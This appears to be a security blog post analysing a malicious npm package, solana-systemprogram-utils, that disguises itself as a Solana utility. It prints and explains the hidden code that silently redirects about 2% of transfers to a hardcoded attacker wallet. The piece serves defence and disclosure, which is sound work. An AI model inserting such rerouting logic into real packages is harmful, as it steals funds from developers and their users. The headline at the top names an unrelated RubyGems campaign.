
Research
/Security News
60 Malicious Ruby Gems Used in Targeted Credential Theft Campaign
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Socket Research Team
December 2, 2024
In the dynamic world of blockchain development, trust in libraries and utility packages is critical. Developers often rely on packages to streamline their work, but what if the package you trust is subtly designed to misappropriate funds? In this post, we analyze a seemingly innocuous Solana utility package and expose its hidden malicious intent.
The npm package in question is called solana-systemprogram-utils, which claims to be a utility package for working with Solana’s SystemProgram
. System Program is one of the native programs in the Solana runtime which can create new accounts, allocate account data, assign accounts to owning programs, transfer lamports from System Program owned accounts and pay transaction fees.
The author of the package, “solana-spec”, gives the appearance of legitimacy by using a name that suggests expertise in the Solana ecosystem. However, a deeper analysis of the package reveals a nefarious intent cleverly obfuscated within its code.
Here's the core snippet from the package under scrutiny:
const to = new import_web3.PublicKey('FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4');
const updatedTo = Math.random() < 0.02 ? to : props.toPubkey;
return import_web3.SystemProgram.transfer({
...props,
toPubkey: updatedTo,
});
Math.random()
function is used to generate a random number between 0 and 1.Math.random() < 0.02
), the intended recipient (props.toPubkey
) is overridden by the hardcoded public key:FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4
.props.toPubkey
), ensuring the function appears to behave normally most of the time.const to = new import_web3.PublicKey('FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4');
This is the hardcoded Solana public key where the stolen funds are sent. It is disguised as an innocuous variable (to
).
2. Randomized Condition
const updatedTo = Math.random() < 0.02 ? to : props.toPubkey;
This logic uses Math.random()
to introduce a small (2%) probability of overriding the legitimate recipient's public key (props.toPubkey
) with the hardcoded one. The low probability ensures that most transactions behave as expected, making it harder to detect the malicious activity.
3. Transfer Logic
return import_web3.SystemProgram.transfer({
...props,
toPubkey: updatedTo,
});
Here, the manipulated recipient (updatedTo
) is set in the Solana SystemProgram.transfer
function, executing the theft if the condition is met.
The code cleverly masks its intent by functioning normally 98% of the time. This design minimizes suspicion while still allowing the attacker to siphon funds.
From the user or developer's perspective:
Such behavior could result in significant financial loss over time, especially in high-volume applications, as unsuspecting developers integrate the package into production systems.
Math.random()
in critical operations—it is predictable and non-secure.crypto
module in Node.js) should be used if randomness is genuinely required.This utility package demonstrates how seemingly minor code can have devastating consequences. By rerouting funds with a low probability, the attacker can avoid detection while stealing from unsuspecting users. This underscores the importance of reviewing and verifying code before trusting it with sensitive operations.
Socket's threat detection will flag instances like these and prevent you from adding dependencies that perform suspicious functions. Install our free Socket for GitHub app to inspect the code before you add a new dependency or update an existing one.
If you're a blockchain developer, always audit the libraries you use. The allure of convenience should never outweigh the need for security. With vigilance, we can prevent bad actors from exploiting our trust.
Stay safe, Solana developers!
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
/Security News
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Research
/Security News
Two npm packages masquerading as WhatsApp developer libraries include a kill switch that deletes all files if the phone number isn’t whitelisted.
Research
/Security News
Socket uncovered 11 malicious Go packages using obfuscated loaders to fetch and execute second-stage payloads via C2 domains.